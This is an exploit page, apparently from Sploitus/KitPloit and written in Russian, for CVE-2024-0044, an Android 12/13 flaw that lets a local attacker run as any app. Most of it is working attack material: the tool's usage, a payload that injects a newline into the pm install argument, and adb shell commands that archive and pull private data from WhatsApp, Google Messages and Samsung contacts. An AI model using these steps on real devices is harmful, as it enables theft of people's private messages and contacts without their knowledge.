Sploitus

Exploit for CVE-2024-0044

kitploit · 2026-08-25

Exploit Code

MARKDOWN148 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-0XBINDER-CVE-2024-0044
## CVE 2024 0044

CVE-2024-0044, обнаруженная в функции createSessionInternal файла PackageInstallerService.java, представляет собой уязвимость высокой степени серьезности, затрагивающую Android версий 12 и 13. Эта уязвимость позволяет атакующему выполнить атаку "run-as any app", что приводит к локальному повышению привилегий без взаимодействия с пользователем. Проблема возникает из-за неправильной проверки входных данных в функции createSessionInternal. Атакующий может воспользоваться этим, манипулируя процессом создания сессии, потенциально получая несанкционированный доступ к конфиденциальным данным и выполняя несанкционированные действия на затронутом устройстве.

Эксплойт был обнаружен Meta security 

Подтверждение концепции было обобщено и опубликовано Tiny hack

Подробности об исправлении безопасности можно найти в бюллетене безопасности Android

## Предварительные требования

  1. Включите отладку по USB на своем мобильном телефоне и подключите его к компьютеру с помощью USB-кабеля или беспроводной отладки.
  2. Загрузите любой APK-файл на свой компьютер, вы можете использовать F-DROID.



## Как использовать инструмент

root@kitploit:~
    
    
    python3 cve_2024_0044.py -h
                                                                                   
    ##########################################################################################
    ###############S%%#####################################################%%S################
    ###############%++*S##################################################?++?################
    ################%++*S###############################################S*++?#################
    #################%+++%#############################################S*++%##################
    ##################S*++%###########################################%+++%###################
    ###################S*++?#########SSS%%?????***?????%%%SS#########%++*S####################
    #####################?++*##S%%?**+++++++++++++++++++++++**??%S##?++*S#####################
    ######################?++**+++++++++++++++++++++++++++++++++++**++*#######################
    ###################S%?*++++++++++++++++++++++++++++++++++++++++++++?%S####################
    #################%?+++++++++++++++++++++++++++++++++++++++++++++++++++*%S#################
    ##############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++?S###############
    ############S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S#############
    ##########S?+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S###########
    #########%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##########
    #######S*+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++*S########
    ######%++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*++++++++++++++%#######
    #####%++++++++++++++*######%+++++++++++++++++++++++++++++++++%######?++++++++++++++?######
    ####?+++++++++++++++*######S+++++++++++++++++++++++++++++++++%######?+++++++++++++++?#####
    ###%+++++++++++++++++*%SS%?+++++++++++++++++++++++++++++++++++?%SS%*+++++++++++++++++?####
    ##S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%###
    ##*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S##
    #%+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++?##
    #*++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++S#
    S+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++%#      
            
    usage: cve_2024_0044.py [-h] -P P -A A
    
    CVE-2024-0044: run-as any app @Pl4int3xt
    
    options:
      -h, --help  show this help message and exit
      -P P        package name (default: None)
      -A A        apk file path (default: None)
    

`-P` используется для указания имени целевого пакета, от имени которого вы хотите запускаться.

`-A` для указания пути к APK-файлу, который нужно отправить на устройство.

## Эксплуатация

Запустите инструмент: `python3 cve_2024_0044.py -P com.whatsapp -A /home/pl4int3xt/Downloads/F-Droid.apk`

Будет сгенерирован файл `payload.txt` следующего содержания:

root@kitploit:~
    
    
    PAYLOAD="@null
    victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
    pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
    

#### Инструмент автоматизирует некоторые части, а другие остаются ручными. Вы можете выйти после генерации полезной нагрузки и выполнить все команды вручную, или продолжить следовать инструкциям.

### Далее вам нужно подключиться к устройству с помощью adb shell, вставить полезную нагрузку и убедиться, что после последней команды вы получили сообщение `Success`.

root@kitploit:~
    
    
    pl4int3xt ~>  adb shell
    pixel:/ $ PAYLOAD="@null
    > victim 10289 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
    pixel:/ $ pm install -i "$PAYLOAD" /data/local/tmp/F-Droid.apk
    Success
    

### Затем получаем данные WhatsApp с помощью следующих команд:

root@kitploit:~
    
    
    pixel:/ $ mkdir /data/local/tmp/wa/                                                                            
    pixel:/ $ touch /data/local/tmp/wa/wa.tar
    pixel:/ $ chmod -R 0777 /data/local/tmp/wa/
    pixel:/ $ run-as victim
    pixel:/data/user/0 $ tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
    

Создайте временную директорию: `mkdir /data/local/tmp/wa/`

Создайте файл-заполнитель для tar-архива: `touch /data/local/tmp/wa/wa.tar`

Установите широкие права доступа: `chmod -R 0777 /data/local/tmp/wa/`, чтобы любой пользователь мог читать, записывать и выполнять операции в этой директории.

Переключите контекст пользователя: `run-as victim`, чтобы получить те же разрешения, что и у пользователя "victim".

Заархивируйте данные целевого приложения: `tar -cf /data/local/tmp/wa/wa.tar com.whatsapp`, создав tar-архив директории данных WhatsApp.

### Наконец, извлеките данные:

`adb pull /data/local/tmp/wa/wa.tar`

Вы можете распаковать данные с помощью `7z` или любого другого инструмента.

Вы можете использовать Whatsapp chat exporter для преобразования в HTML.

Это позволяет получить данные WhatsApp без root-доступа на устройстве.

# Извлечение сообщений Google

Просто измените имя пакета следующим образом:

root@kitploit:~
    
    
    plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.google.android.apps.messaging -A ~/Downloads/F-Droid.apk
    

Следуйте приведенным выше инструкциям, а после извлечения файла `wa.tar` распакуйте его и откройте переписку в `com.google.android.apps.messaging/databases/bugle_db` с помощью sqlitebrowser или любого другого инструмента.

# Извлечение контактов

Протестировано на устройстве Samsung. Для других устройств проверьте имя пакета поставщика контактов.

root@kitploit:~
    
    
    plaintext@archlinux ~/D/c/p/cve_2024_0044 (feature)> python3 ./cve_2024_0044.py -P com.samsung.android.app.contacts -A ~/Downloads/F-Droid.apk
    

Следуйте приведенным выше инструкциям, а после извлечения файла `wa.tar` распакуйте его и откройте контакты в `com.samsung.android.providers.contacts/databases/contacts2.db` с помощью sqlitebrowser или любого другого инструмента. Файл базы данных содержит информацию обо всех учетных записях электронной почты пользователя вместе со списком контактов.